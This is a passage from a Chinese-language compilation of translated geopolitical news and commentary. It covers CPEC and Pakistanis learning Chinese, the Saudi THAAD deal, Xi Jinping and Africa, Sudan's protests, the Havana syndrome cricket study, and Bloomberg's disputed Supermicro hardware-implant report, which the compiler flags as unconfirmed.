尽管如此，巴基斯坦从中国借来的钱也引起了一些担忧。中国对巴基斯坦的经济承诺并非总能实现。根据负责跟踪中国对外援助的兰德公司的兼职政策研究员 Eric Warner 的说法，2001年至2014年间，中国向巴基斯坦认捐了 1350 亿美元，但其中只有 4% 实现了落实。今天，中国占巴基斯坦贸易逆差的近一半，巴基斯坦是中国新丝绸之路上最容易遭受债务困扰的国家之一。

对于 CPEC 的贷款和投资条款缺乏透明度的问题仍然令许多巴基斯坦人感到担忧，并且一些人对看涨的创造就业数据持怀疑态度。“工作是一种幻想”，艾哈迈德说，“人们相信他们可以找到工作，所以也许他们应该学习中文。我总是问他们，’如果是这样的话，为什么还有失业的中国人呢？中国人必须首先给自己找工作，然后他们才能把富余的工作给你。’“

同样令人担忧的是，马来西亚最近退出了中国项目，理由是担心偿还

贷款可能会使马来西亚陷入破产局面，负债累累。汉班托塔港的债务教训更是令人揪心。8月，美国国防部在向国会提交的年度报告中警告说，BRI 可能只是变成了推进中国政治或军事议程的工具："参与 BRI 的国家可能会对中国资本产生经济依赖，中国可以利用其来实现自己的利益。"

尽管如此，艾哈迈德仍然乐观地认为，中国与巴基斯坦的交易将在总理伊姆兰汗的任期内获得更多的透明度和审查，伊姆兰汗此前曾呼吁将 CPEC 的财务细节置于议会之前。他的政党选举宣言说，国内产业和劳动者必须像中国企业一样受益于 CPEC，甚至说中国应该致力于知识转移，让巴基斯坦企业在自己的土地上茁壮成长。艾哈迈德告诉我，"如果中国人认为他们可以在 CPEC 方面向巴基斯坦发号施令，那么他们就是生活在愚人的天堂里。"

今天，超过 3 万名中国人在巴基斯坦工作，中国公司不得不应对在新环境中运营的文化挑战，包括巴基斯坦的宗教住宿要求。

一些巴基斯坦人还质疑为什么学习新语言的责任要落在他们身上，而不是中国人。然而，孔子学院的艾哈迈德了解为什么中国人不急于学习当地语言。"他们不需要我们，"他说。"不论你在市场上找到任何东西，上面都写着'中国制造'。这意味着我们的市场需要中国商品，而不是他们的市场需要巴基斯坦商品。"

然而，交换也并非完全是单方面的; 中国还向年轻的巴基斯坦人提供奖学金和其他福利。阿巴斯说："学生们可以轻松地接受教育，抓住经济机会。" 虽然美国和欧洲可能会成为有吸引力的目的地，但即使学会了这种语言，获得签证也很困难。另一方面，中国也通过提供奖学金和就业机会向年轻的巴基斯坦人开放。

2016 年，阿巴斯获得了奖学金，在中国北京语言大学学习两年。在北京的街头，他对这座城市的发展和学生的多样性感到震惊，其中一些学生也获得了奖学金。随着他的普通话的改善，阿巴斯很高兴与当地人交谈。然而，当他告诉年轻的北京人他来自哪里时，他继而又对中国人对巴基斯坦知之甚少的现状感到吃惊。

他告诉我，从他们的童年时代起，巴基斯坦人就被告知他们与中国的铁定友谊。"友谊非常强烈"；而另一方面，他说，北京的年轻人对中国在巴基斯坦的角色只是有着朦胧的认识。"他们甚至不知道有一个名为巴基斯坦的国家"……■

Why Young Pakistanis Are Learning Chinese

By investing billions of dollars in Pakistan and dozens of other countries, China is gaining cultural cachet worldwide

原文

主题不是军事 - iYouPort

地缘政治

你最好不要牺牲，最好能活着完成你的事业；并且即便你豁出命了，也不要指望地缘政治能帮你什么。 **Jamal Khashoggi** 会明白这个道理吗？

「图」

「图」

美国不会制裁沙特，因为利益关系太过紧密了。这次是近25亿美元的大单（更多详见去年的分析《两个数字告诉你为什么特朗普不会制裁沙特》）

美国国防部已向武器制造巨头洛克希德马丁公司（Lockheed Martin Corp）授予了25亿美元的合同，为沙特阿拉伯生产终端高空区域防御（THAAD）系统，这是特朗普与石油资源丰富的王国之间进行的广泛军火交易的一部分。

*“洛克希德·马丁公司导弹和火力控制技术正在获得2,457,390,566美元……生产 THAAD 拦截器的合同……以支持美国政府和沙特阿拉伯王国[的合作]，”*五角大楼在一份新闻稿中称。

去年11月，沙特和美国官员签署了一项协议，向利雅得出售价值150亿美元的44枚 THAAD 发射器、导弹和相关设备。

五角大楼表示，沙特政府将向洛克希德支付24亿美元中的15亿美元。

尽管国际社会对沙特王储穆罕默德·本·萨勒曼（Mohammed bin Salman）谋杀华盛顿邮报记者 Jamal Khashoggi 感到愤怒，但华盛顿继续与沙特达成协议。

THAAD 由美国最大的武器制造商洛克希德马丁公司制造和组装。这种先进武器的设计目的是利用美国另一家武器巨头雷神公司设计的先

进探测雷达击落短程、中程和中远程弹道导弹。

根据新协议，五角大楼将升级沙特阿拉伯防空基础设施中过时的系统，以更好地整合 THAAD 技术。

请注意，这笔交易发生之际，利雅得仍在继续谈判购买先进的俄罗斯 **S-400** 导弹防御系统，这让华盛顿鄙视。

华盛顿和利雅得于2016年12月参加了 THAAD 的正式讨论。

在2017年首次访问沙特阿拉伯期间，特朗普与沙特签署了价值**1100**亿美元的军火交易协议，十年内可选择卖出3500亿美元。在特朗普的女婿和高级顾问贾里德库什纳的推动下，这个庞大的一揽子计划包括导弹、炸弹、装甲运兵车、战舰、THAAD导弹系统、和弹药。

当时洛克希德对这笔交易表示欢迎，并表示，“我们很自豪能成为这一历史性声明的一部分，这将加强美国与沙特阿拉伯王国之间的关系。”

2017年，国会批准了 THAAD 导弹系统的销售。

据沙特消息来源称，特朗普在沙特国王萨勒曼的2018年9月底电话会议上讨论了这笔交易。

美国已经向阿联酋 沙特的邻国和坚定的盟友提供了先进的导弹系统。该系统还被部署到韩国，据称解决了美国地区盟友对朝鲜可能攻击的担忧。

据报道，以色列和美国军队在巴勒斯坦被占领土上已经完成了为期五周的导弹系统测试。

演习于3月4日开始，涉及约250名美国军官和士兵，他们在15名以色列空军人员的带领下，在 Nevatim 空军基地接受训练，以便在以色列迅速部署导弹系统。

美国陆军副指挥官 *Andrew J. Rowling* 少将告诉以色列媒体说，这次演习试图测试美国军队“快速部署全球数千英里的 *THAAD* 系统的能力，然后融入世界上最复杂的导弹防御架构之一。“

这是 THAAD 首次部署到以色列，该国正计划更新其政权的导弹网络。由于担心黎巴嫩和巴勒斯坦抵抗组织的导弹威力以及伊朗强大的弹道导弹库，特拉维夫政权迄今已投入了数十亿美元用于开发一系列

不同的反导系统。

以色列军方目前使用短程铁穹防御系统、Arrow 系统和 David’s Sling 反导系统来对付入侵的袭击。然而，初步试验已经引起了对这些技术的可靠性的怀疑。

去年，当巴勒斯坦抵抗运动哈马斯向以色列目标发射数百枚火箭时，铁穹被证明无用。它也未能拦截黎巴嫩真主党战斗机在2014年33天的战争期间发射的一系列导弹。

以色列军方还配备了美国制造的爱国者导弹系统，类似于沙特军方购买的导弹系统。

爱国者已经被证明在战斗中很无能。去年，备受吹捧的美国系统未能击落短程的也门导弹，这些导弹一直飞到了利雅得并以其国际机场为目标。

其实这篇报道希望说明的并不是军事，而是，地缘政治—— 简而言之，你最好不要牺牲，最好能活着完成你的事业；并且即便你豁出命了，也不要指望地缘政治能帮你什么。地缘政治从来不是以道德人权和诚信为媒介的，而是利益和欺骗，它永远在你不可控的、无法理解的、甚至是不可能完全知情的状态下运作。我们推测 Jamal Khashoggi 应该明白这个道理。

The US Department of Defense has awarded arms manufacturing giant Lockheed Martin Corp a $2.5 billion contract to produce Terminal High Altitude Area Defense (THAAD) missile systems for Saudi Arabia.

原文

习近平的无限任期对非洲意味着什么？ - iYouPort

地缘政治

在可预见的未来，非洲与中国的接触将由习近平的设想所塑造。这就是为什么南非国际事务研究所刚刚出版了一份政策文件，确定了非洲必须关注的五个主要趋势：共产党、一带一路、联合国改革、全球军事角色、互联网治理。

「我们在频道上传了一本新书 “China’s Power In Africa: A New Global Order”，您可以在这里下载：https://t.me/iyouport/6645」

中共的战略的一部分是通过教育和培训影响年轻的非洲人。数千名非洲政府官员、记者和学生每年接受中国培训。2016年，北京将非洲初级政治家奖学金数量从每年200个增加到1000个。

现在在中国学习的非洲学生比在美国和英国的总和还要多。习近平坚持所有大学教学中秉持共产党的中心地位。自 2013 年以来，他呼吁从大学课程中排除所谓的西方观念。教育和培训塑造了人的世界观。随着这些非洲学生回国，共产党的学说将越来越多地渗透非洲大陆的对话。

习近平的长期统治也足见“一带一路”的未来。该项目已经向坦桑尼亚和埃塞俄比亚等国家的基础设施项目投入了大量资金。这为非洲发展开辟了重要的机会。但是，基础设施并不是免费的：非洲国家应该认真研究这一举措将如何影响非洲大陆的债务可持续性和当地优先事项。

中国一直是改革联合国安理会（UNSC）的长期支持者，以允许来自南半球的更广泛代表。北京方面应该没忘记它部分是通过非洲国家的选票获得其联合国安理会席位的。习近平在十九大的讲话中表示支持“其他发展中国家增加代表性的努力”。

从理论上讲，这可能会引发关于安理会改革的讨论。没有进一步的迹象表明中国正在对此进行积极的竞选，但它是一个值得关注的领域。

习近平一再呼吁中国的军事硬件，提升中国军队的战备意识。他的延长任期提高了解放军将追求更突出的全球性作用的可能性。2018 年的军事预算已经上调了 8.1%，为三年来的最高水平。尽管中国在军费总支出方面仍远远落后于美国，但它正在迎头赶上。

这种扩张直接影响到非洲。中国第一个海外军事基地最近在吉布提开始运作。吉布提还拥有法国，日本，西班牙，意大利和德国的军事基地，沙特基地正在建设中。

中国已经更多地参与了联合国在非洲的维和行动。其部队在南苏丹、马里和利比里亚以及索马里境外的反海盗行动中服役。虽然这些使命有助于非洲的“安全”，但其同时也有助于加强中国作为全球领导人的形象，为中国军队提供现实世界战斗训练的机会。结果就是，非洲必需面对中国在这个大陆的军事存在而日益增加的问题。

习近平的第一个任期内世界已经看到中国自己的互联网审查法规明显收紧。美国的非政府组织自由之家现在将中国的大局域网列为世界上最受限制的互联网。习近平呼吁进一步加强控制，加强所谓的“互联网主权”：令其避开了有利于各国政府控制的全球互联网治理惯例。

几乎没有证据表明中国有兴趣将其互联网治理模式出口到其他国家。但很多人担心，压制性的非洲政府将会效仿中国的所谓互联网主权模式以打击内部异议。

中国是非洲最大的贸易伙伴和重要的外国投资者。非洲需要更多能够讲流利普通话的本地专家，他们可以提供对中国的内部工作的见解。○

原文

从抢面包到推翻政权 - iYouPort

地缘政治

平均每小时就有一百多人被带进来。苏丹首都喀土穆北部的警察局很快就变得非常拥挤，以至于被拘留者只能呆在外面的草坪上。Atif 是一名活动家，他说当天至少有1000人被捕。许多人遭到殴打，其他人被剃光了头发。

「图」

「图」

Atif 是最近几周走上街头的数万名苏丹人之一。最初开始于12月19日在东部城市阿特巴拉（Atbara）发起的抗议面包价格的集体行动目前已经在全国范围内展开。据估计，在近 **400** 次抗议活动中，至少有**40**人被安全部队杀害。政府表示已经拘留了至少**800**人（真正的数字肯定要比这高得多）。然而，这对于现在全国范围内起义反对奥马尔·巴希尔及其30年独裁统治的起义几乎没有什么作用。

当前危机的种子于2017年底萌芽，当时政府宣布终止小麦补贴的计划。当面包价格在一年前翻了一番时，引发了抗议活动，政府试图扭转局面并重新引入部分补贴。但是，随着南苏丹的分裂，2011年苏丹石油储量减少75%，经济已经在挣扎。由于无法支付账单，政府已经开始印钞票，通货膨胀率约为70%，现在是世界上仅次于委内瑞拉的第二高通货膨胀率。

普通苏丹人面临着面包、燃料和基本药物的短缺。“你需要在银行门前排长队等着取现金买食物，”上个月被捕的28岁摄影师 Abuzar Osman 说，“我们现在是在拿生命排队。”

要求推翻现有政权的呼声很普遍。巴希尔全国大会党（ncp）的地区办事处已被烧毁。1月6日，抗议者在总统府门前举行游行，请求巴希尔辞职。巴希尔在1989年的一次政变中上台，后来赢得了一些狡猾的选举，甚至计划在2020年再续任期。至少有八个党派退出执政联盟。

他可以持续吗？巴希尔对社会抗议并不陌生。他的政权与反叛分子作

战，并对南部和达尔富尔地区的平民进行种族灭绝战争。他曾经在许多抗议活动中幸存下来。

然而，最新的这次抗议似乎令该政权感到不安。巴希尔承诺将停止削减补贴并将国家支出增加39%，部分原因是公共雇员的工资增加。他称抗议者为“叛徒，贱商，特工和破坏者”。该政府指责达尔富尔的叛乱者与以色列密谋破坏该国的“稳定”。自12月下旬以来，已有**50**多名达尔富里学生被围捕并被拘留在不明地点。

他指责达尔富尔反叛者的策略收效甚微。来自喀土穆和北部政权传统据点的抗议者在游行时高呼“我们都是达尔富尔”。

即使警方开枪射杀人员，示威活动也没有显示出减弱的迹象。而且，人们组织得似乎更好了。抗议活动现在主要由苏丹专业人员协会领导，该协会是一个工会联盟，包括代表医生、律师和记者的工会。

有些人把这场抗议比作 1964 年和 1985 年反军事独裁的起义。进而，中产阶级的人们也加入进来，帮助将孤立的骚乱变成了一场广泛的政治变革运动。

近年来，苏丹已经远离伊朗这个古老的盟友，并逐渐靠近沙特阿拉伯和阿联酋。他们的财政慷慨帮助掩盖了苏丹经济的萎靡不振。但似乎都没有倾向于拯救该政权，也许是因为巴希尔是一个不忠实的盟友（他向其地区竞争对手土耳其和卡塔尔提出了建议）。

现在是巴希尔独自一人面对抗议者，尽管有催泪瓦斯和子弹，人们仍然会继续回到街头。“人们的愤怒是无限的，”电影制作人 Brahim Snoopy 说，“我们不知道接下来会发生什么。”

“We are all Darfur” Sudan’s genocidal regime is under siege. “The people’s rage is infinite,” says Brahim Snoopy, a film-maker. “We don’t know what will happen next.” Even though the police have shot and arrested people, the demonstrations have shown little sign of abating. If anything they seem to be getting better organised.

原文

以蟋蟀为‘武器’？ - iYouPort

地缘政治

自2017年以来，美国外交人员在古巴和其他地方发生了令人困惑的经历，他们在听到奇怪的声音之后出现类似“脑部创伤”的症状（有时被称为“哈瓦那综合症”），结果产生了大量不合理的理论，比如 “隐蔽的声波装置”、间谍装备、武器化微波辐射、中毒、甚至心因性疾病等等。据“纽约时报”周五报道，在最近的一次调查中，一对研究人员非常肯定地表示，其中一个被记录到的奇怪声音是一只大嗓门蟋蟀。

加州大学伯克利分校的 Alexander Stubbs 和英国林肯大学的 Fernando Montealegre-Z 分析了一个录音并得出结论，这个声音似乎与印度短尾蟋蟀（Anurogryllus celerinictus）相匹配。研究人员在数据库中搜索到了与录音文件类似的昆虫声音。他们发现录音和印度短尾蟋蟀的叫声极为相似，其中，声脉冲速率完全相同。

英国林肯大学感官生物学蒙特莱格雷 (Fernando Montealegre-Z) 表示，“录音绝对是属于同种类的蟋蟀。这是一种加勒比物种，它的声音频率为7000赫兹，而且传播速率极高，声音令人感觉极不舒服。我不意外这种声音可能干扰到不熟悉昆虫叫声的人。”

作为一个在南美洲长大的孩子，蒙特莱格雷回忆称，他曾收集过类似物种的蟋蟀，并将其放在自己房间的笼子里。有一天晚上，他被一阵刺耳的噪音唤醒，后来发现噪音来源于一支求偶的雄性蟋蟀。

据报道，并非所有受影响的外交官在感到不舒服时报告自己听到了不同寻常的声音，而且对噪音的描述也因人而异。有人表示噪音与蝉鸣类似，有人则表示感受到类似车窗打开时的震动。

科学家认为，每个人感觉到有差异，其实是录制环境所致。科学家们倾向于在野外收录昆虫鸣叫的声音，而外交官们是在室内录制的。室内天花板、墙壁等都会影响到录音。

加拿大麦基尔大学研究昆虫声音沟通的学者波拉克 (Gerald Pollack) 直言，该研究相关分析完全说的通。

下面视频中显示了这种声音：

Study: Mysterious Sound Recorded by Sickened Cuba Embassy Staff Was Just Crickets. To search for a match, the researchers analyzed field recordings of North American insects stored in an online database at the University of Florida. They found a striking resemblance to one species in particular: the Indies short-tailed cricket.

原文

企业媒体称中国利用微型芯片渗透美国公司，他们是怎么做到的？ - iYouPort

地缘政治

以下是彭博社的报道。我们一直在强调：国产国行不能用，这是来自单纯的不信任。但是一直没有确切的证据以说明中国在硬件中做了什么手脚。该报道如果为真，将可以证明这一不信任是必要的。请暂时搁置中美的高堡奇人关系，没错这些美国公司一直在为美国情报机构开设后门以监视公民，但那些后门中国当局无法使用。中国想要“自己的后门”这一思路并不令人惊讶。但是，这篇文章直到现在并没有被确认

「图」

「图」

在阅读全文之前先关联一个我们上个月的报道：上个月在联想的 Transform 活动中，该公司宣布推出一系列数据中心产品，旨在通过新的 BFF 闪存存储提供商 NetApp 创建“专门针对中国市场的产品”。为什么？因为要后门。

联想负责人说：“如果他们想要全球性的后门？我们不提供。如果他们想在中国建立一个后门，⚠那么我们只能说在中国的每个跨国公司都在做同样的事……我们遵守当地法律。如果当地法律规定我们不提供后门，我们就不会放入后门 “……好吧，这就是答案。

> 注：请注意下面文章中被加黑体的字词、时间和句子，它们是线索，并且包含了诸多的 ***WHY*** —— 我们并不确定这篇报道是真实的

2015 年亚马逊开始悄悄评估一家名为 Elemental Technologies 的初创 公司，这是一项潜在的收购，旨在帮助其流媒体视频服务的大规模扩展，今天它被称为亚马逊 Prime 视频。

Elemental 总部位于俄勒冈州波特兰市，制作了用于压缩海量视频文

件并将其格式化为适合不同设备的软件。它的技术帮助奥运会在线播放、与国际空间站进行交流、并帮助中央情报局汇集无人机镜头。Elemental 的国家安全合同并不是拟议收购的主要原因，但它们与亚马逊的政府业务非常吻合，例如亚马逊网络服务（AWS）为 CIA 建立的所谓云储存。

彭博社引述熟悉该流程的一位“知情人士”称，为了帮助尽职调查，正在监督预期收购的 AWS 聘请了第三方公司来审查 Elemental 的安全性。第一次审查就发现了令人不安的问题，促使 AWS 更深入地了解了 Elemental 的主要产品：客户在其网络中安装的用于处理视频压缩的昂贵服务器。

这些服务器由 Super Micro Computer Inc.为 Elemental 组装。总部位于圣何塞的公司（俗称Supermicro）也是世界上最大的服务器主板供应商之一，玻璃纤维安装的芯片和电容器集群，充当大小数据中心的神经元。据知情人士称，2015 年春末，Elemental 的工作人员将几台服务器装箱并送往加拿大安大略省，供第三方安保公司进行测试。

测试人员发现了一块微小的微芯片，并不比一粒米更大，嵌套在服务器的主板上，这不是电路板原始设计的一部分。亚马逊向美国当局报告了这一发现，让情报界感到不寒而栗。**Elemental** 的服务器可以在国防部数据中心、**CIA** 的无人机操作以及海军战舰的机载网络中找到。而 Elemental 只是数百名 Supermicro 客户中的一员。

在随后三年的调查期间，调查人员确定这些芯片允许攻击者在任何包含更改过的机器的网络中创建一个隐形门。知情人士表示，调查人员发现这些芯片已被插入到中国制造分包商的工厂。

这种攻击比世界上已经习以为常的基于软件的攻击事件更为严重。硬件攻击更难以实现，并且可能更具破坏性，显然间谍机构愿意投入数百万美元和多年的时间维持长期的隐形访问权。

间谍有两种改变计算机设备内部的方法。其中一种被称为阻截，包括在从制造商到客户的过程中操纵设备。根据前国家安全局承包商 **Edward Snowden** 泄露的文件，这种方法受到美国间谍机构的青睐。而另一种方法则是从一开始就植入进去。

特别是，全球只有一个国家在执行这种攻击方面具有特别的优势：中国。据估计，有 75% 的手机和 90% 的 PC 在中国生产。

实际上，实现这种攻击意味着要深入了解产品的设计，在工厂操纵组

件，并确保经过篡改的设备通过全球物流链到达所需的位置 — — 这就像把棍子扔进上海的长江上游，并要确保它在西雅图上岸。

“拥有一个完善的民族国家级的硬件植入，就像见证一只独角兽跳过彩虹，”Joe Grand 说，他是硬件黑客和 Grand Idea Studio Inc.的创始人。“硬件远不是雷达，它几乎被视为黑魔法。”

但这正是美国调查人员发现的：两名官员说，制造过程中已经被插入芯片，来自人民解放军的一个部门。在 Supermicro，中国的间谍似乎找到了一个完美的渠道，美国官员现在称“这是对美国公司进行的最严重的供应链攻击”。

一位官员表示，调查人员发现它最终影响了近 **30** 家公司，包括一家大型银行，政府承包商和全球最有价值的公司之一 **Apple Inc.**

Apple 是 Supermicro 的重要客户，已经计划在两年内订购超过 30,000 台服务器，用于新的全球数据中心网络。Apple 的三位资深内部人士称，**2015** 年夏天，他们在 Supermicro 主板上发现了恶意芯片。苹果公司在第二年切断了与 Supermicro 的联系，因为该公司的解释完全不合理。

在电子邮件声明中，（宣布于 2015 年9月收购 Elemental）的亚马逊、Apple 和 Supermicro 对彭博商业周刊的摘要提出异议。亚马逊写道：“在收购 Elemental 时，AWS 知道供应链妥协、恶意芯片问题或硬件修改这一细节是不正确的。”；苹果写道：“在此我们可以非常清楚：苹果从来没有发现任何服务器中存在意植入的恶意芯片，’硬件操纵’或漏洞”；Supermicro 的发言人 Perry Hayes 写道：“我们仍然没有意识到任何此类调查”。

中国政府没有直接解释有关操纵 Supermicro 服务器的问题，而是发表了一份声明，部分内容是这样：“网络空间供应链安全是一个共同关注的问题，中国也是受害者。” FBI，CIA，NSA 拒绝发表评论。

在这里阅读：来自亚马逊，Apple，Supermicro 和北京的声明

这些公司的否认遭到六名现任和前任高级国安官员的反对，他们的工作在奥巴马政府时期开始并在特朗普政府执政期间继续，他们详细介绍了芯片的发现和政府的调查。其中一名官员和两名 AWS 内部人员提供了有关该攻击如何在 Elemental 和亚马逊发挥作用的广泛信息;这位官员和其中一位内部人士也描述了亚马逊与政府调查的合作。除了三位苹果内部人士外，六位美国官员中有四位证实苹果是受害者。

总共有17人确认了对 Supermicro 的硬件和其他攻击元素的操纵。

但彭博社说，“由于信息的敏感性”，在某些情况下是机密的，信息来源被匿名。

一位政府官员表示，中国的目标是长期获取高价值的公司机密和敏感的政府网络，“没有消费者数据被盗”（你怎么确定这点？）

攻击的后果继续发挥作用。特朗普政府已将包括主板在内的计算机和网络硬件作为其对中国最新一轮“贸易制裁”的焦点，白宫官员明确表示，他们认为公司将开始把供应链转移到其他国家。这种转变可能会缓和那些多年来一直警告供应链安全的官员 — 尽管他们从来没有透露过他们担心的主要原因。

据美国官员称，这种攻击的工作方式是这样的：

「图」

「图」

- 1. 中国军队设计和制造的小型微芯片和削尖的铅笔尖比较一下大小，效果是这样的。一些芯片的构建看起来像信号调理耦合器，它们结合了内存、网络功能和足够的处理能力。
- 2. 微芯片被插入供应 Supermicro 的中国工厂，Supermicro 是世界上最大的服务器主板销售商之一。
- 3. 主板内置于 Supermicro 组装的服务器中。
- 4. 被破坏的服务器进入数十家公司运营的数据中心。
- 5. 当安装并打开服务器时，微芯片改变了操作系统的核心因此可以接受修改。该芯片还可以与攻击者控制的计算机联系，以搜寻进一步的指令和代码。

早在 2006 年，俄勒冈州的三位工程师就有了一个聪明的主意。当时对移动视频的需求即将爆发，他们预测广播公司将迫切希望将适合电视屏幕的节目转换为能在智能手机、笔记本电脑和其他设备上观看所需的各种格式。为了满足预期的需求，工程师们启动了 Elemental Technologies 公司，编写能够适应高端视频游戏机生产的超高速图形芯片的代码。由此产生的软件大大减少了处理大型视频文件所需的时间。然后将软件加载到带有logo的定制服务器上。

根据公司前顾问的说法，Elemental 服务器的售价高达 10 万美元，利润率高达 70%。Elemental 的两个最大的早期客户之一是摩门教

会，它使用这种技术将布道传播给世界各地的会众，另一个是成人电影业。

Elemental 也开始与美国间谍机构合作。2009 年，该公司宣布与 CIA 投资部门 In-Q-Tel Inc.建立发展合作伙伴关系，该协议为 Elemental 服务器在美国政府的国家安全任务中的使用铺平了道路。公共文件、包括公司自己的宣传材料都表明，这些服务器已被用于国防部数据中心内部，用于处理无人机和监视摄像机镜头、海军军舰用于传输机载任务，以及政府大楼内的安全视频会议。美国国家航空航天局、国会两院和国土安全部也都是其客户。这个组合使 Elemental 成为外国对手的重点目标。

Supermicro 是构建 Elemental 服务器的明显选择。该公司总部位于圣何塞机场北部，880号州际公路旁，由台湾工程师 Charles Liang 创立，他在德克萨斯州读研究生，然后在1993年与他的妻子一起迁入 Supermicro。硅谷当时正在拥抱外包，打造从台湾、后来的中国工厂到美国消费者的途径，梁有了一个令人欣慰的优势：Supermicro 的主板工程主要在圣何塞，靠近公司的最大客户，即使产品是在海外生产。

如今，Supermicro 销售的服务器主板数量几乎超过其他任何厂家。它还占据了用于特殊用途计算机（从核磁共振成像设备到武器系统）的 10 亿美元电路板市场。它的主板可以在银行、对冲基金、云计算提供商和网络托管服务等其他地方的定制服务器设置中找到身影。

Supermicro 在加利福尼亚州、荷兰和台湾拥有装配设施，但其主板 — 其核心产品 — 几乎全部由中国的承包商制造。

该公司对客户的吸引力取决于其无与伦比的定制，数百名全职工程师和包含 600 多种设计的目录使其成为可能。

圣何塞的大部分员工都是台湾人或中国人，普通话是其首选语言，使用汉字。据六名前雇员说，公司每周都会送上中式糕点，许多常规电话都会进行两次，一次是英语，另一次是普通话。据两位人士介绍，后者（普通话）的效率更高。这些海外关系，尤其是普通话的广泛使用，将使中国更容易了解 Supermicro 的运营并有可能渗透到公司。（一位美国官员表示，政府仍在调查是否在 Supermicro 或其他美国公司内部安插了间谍技术来助攻）

Supermicro 在 2015 年之前在 100 个国家拥有 900 多名客户，为众多敏感目标的攻击提供了优势。“将 Supermicro 视为硬件世界的微

软，”一位研究 Supermicro 及其商业模式的前美国情报官员表示。“攻击 Supermicro 主板就像攻击 Windows 一样。这就像攻击了整个世界。“

> *The security of the global technology supply chain had been compromised, even if consumers and most companies didn't know it yet*

在美国公司网络内部出现攻击证据之前，美国情报人士曾报道说，中国间谍计划将恶意微芯片引入供应链。据熟悉他们所提供信息的人士透露，这些消息来源并不具体，每年都有数百万块主板被运往美国。但在 **2014** 年上半年，另一个人在高层讨论中说道，情报官员带着更具体的东西前往白宫：中国军方准备将芯片插入到美国公司的 Supermicro 主板上。

信息的特殊性非常显著，但它所带来的挑战也是如此。向 Supermicro 的客户发出广泛的警告可能会削弱该公司，而这是一家美国主要的硬件制造商，并且针对的情报或其最终目标是什么并不清楚。此外，在没有确认任何人受到攻击的情况下，联邦调查局在如何应对方面受到了限制。知情人士说，白宫要求定期更新信息。

据熟悉时间表的人士透露，苹果在发现奇怪的网络活动和固件问题后，于 **2015** 年**5**月左右在 Supermicro 服务器内发现可疑芯片。两名苹果内部高级人士表示，该公司当时就向联邦调查局报告了这一事件，但保留了有关其严重控制的内容的详细信息。据一位美国官员称，当亚马逊发现这种状况并向调查人员展示被破坏的硬件时，政府调查人员仍然在追逐自己的线索。这为情报机构和联邦调查局创造了宝贵的机会 — 然后由其网络和反情报团队进行全面调查。

据一位看过由其第三方安全承包商为亚马逊准备的详细报告的人、以及另一位看过数码照片和X射线图像的人说，Elemental 服务器上的芯片设计得非常小以尽可能不显眼，这些芯片被纳入了亚马逊安全团队编写的后续报告中，灰色或灰白色，它们看起来更像信号调理耦合器，另一种常见的主板组件，而不是微芯片，因此如果没有专门的设备，这种东西不太可能被检测到。根据电路板型号，芯片尺寸略有不同，这表明攻击者提供给不同工厂以不同的批次。

熟悉调查的官员表示，这些植入物的主要作用是向其他攻击者敞开了大门。正如一位前高级官员所说，“硬件攻击是关于访问的”。简而言之，Supermicro 硬件上的植入物操纵了核心操作指令，这些指令告诉服务器当数据在主板上移动时该做什么，两位熟悉芯片操作的人士

说。这发生在关键时刻，因为操作系统的一小部分存储在电路板的临时存储器中，然后通往服务器的中央处理器 CPU。将植入物放置在板上，使其能够有效地编辑该信息队列，注入其自己的代码或改变 CPU 应遵循的指令的顺序。

由于植入物很小，它们所包含的代码量也很小。但他们能够做两件非常重要的事情：让设备与互联网上其他地方的几台匿名计算机之一进行通信，这些计算机装载了更复杂的代码; 并准备设备的操作系统以接受这个新代码。非法芯片可以做到这一切，因为它们连接到基板管理控制器，这是管理员用来远程登录有问题的服务器的一种超级芯片，即使在已经崩溃或关闭的机器上也能访问最敏感的代码。

这个系统可以让攻击者逐行改变设备的运行方式。为了理解能给他们的权力，请采用这个假设的例子：在许多服务器中运行的 Linux 操作系统中的某个位置是通过验证存储的加密密码来锁定用户的代码。植入的芯片可以改变部分代码，因此服务器不会检查密码，一台原本安全的机器就这样被设置为对一些甚至所有用户开放。

芯片还可以窃取进行安全通信的加密密钥，阻止可以抵消攻击的安全更新，并开辟通往互联网的新途径。如果发现一些异常情况，可能会被视为无法解释的奇怪现象。“硬件可以打开它想要的任何门，”Joe FitzPatrick 说，

与基于软件的黑客攻击不同，硬件攻击创建了真实的线索。组件留下了运输清单和发票、电路板具有可追溯到特定工厂的序列号，为了跟踪损坏的芯片，美国情报机构开始反过来跟踪 Supermicro 的蛇形供应链，一位了解调查期间收集的证据的消息人士表示。

据 2016 年一家专门从事供应链研究的新闻网站 DigiTimes 表示，Supermicro 有三家主要制造商建造主板，两家总部设在台湾，一家在中国上海。当这些供应商被大订单窒息时，他们有时会将工作分包给分包商。

美国间谍机构利用了他们可以使用的巨大工具：根据调查期间收集到证据的人士透露，美国间谍机构通过通讯拦截，在台湾和中国搜集线人，甚至通过手机追踪关键人物。最终，他们将恶意芯片追溯到四家分包厂，这些工厂至少已经生产超微型主板两年。

当代理商监控中国官员、主板制造商和中间商之间的互动时，他们瞥见了播种过程的运作方式。在某些情况下，工厂经理与声称代表 Supermicro 的人或持有表明与政府有联系的职位的人接洽。中间商

会要求更改主板的原始设计，最初提供贿赂以达成他们不寻常的要求。如果贿赂不起作用，他们会威胁工厂经理要进行检查，以便关闭他们的工厂。一旦安排到位，中间商就将组织好芯片交付给工厂。

调查人员得出的结论是，这个错综复杂的计划是一个专门从事硬件攻击的人民解放军部队实施的。这个小组的存在以前从未被透露过，但有一位官员说，“我们一直跟踪这些家伙的时间超过我们想承认的时间。”该单位被认为专注于高优先级目标，包括高级商业技术和竞争对手的计算机。在过去的攻击中，它针对的是美国大型互联网提供商的高性能计算机芯片和计算系统的设计。

中国外交部发表声明说“中国是网络安全的坚决捍卫者。”该部补充说，2011年，中国与上合组织的其他成员一起提出了硬件安全的国际担保。声明总结说：“我们希望各方减少无端的指责和怀疑，并要进行更具建设性的谈话和合作，以便我们能够共同努力建设一个和平，安全，开放，合作和有序的网络空间。”

Supermicro 的攻击完全来自于早期的 PLA 事件，它威胁到了一系列令人眼花缭乱的最终用户，其中包括一些重要用户。就其本身而言，苹果公司多年来一直在其数据中心使用 Supermicro 硬件，但这种关系在 2013 年之后愈演愈烈，当时苹果公司收购了一家名为 Topsy Labs 的初创公司，该公司创建了用于索引和搜索大量互联网内容的超快技术。到 2014 年，该创业公司开始在全球主要城市或附近建设小型数据中心。据三位资深苹果内部人士透露，这个项目在内部称为 **Ledbelly**，旨在使 **Apple** 的语音助手 **Siri** 的搜索功能更快。

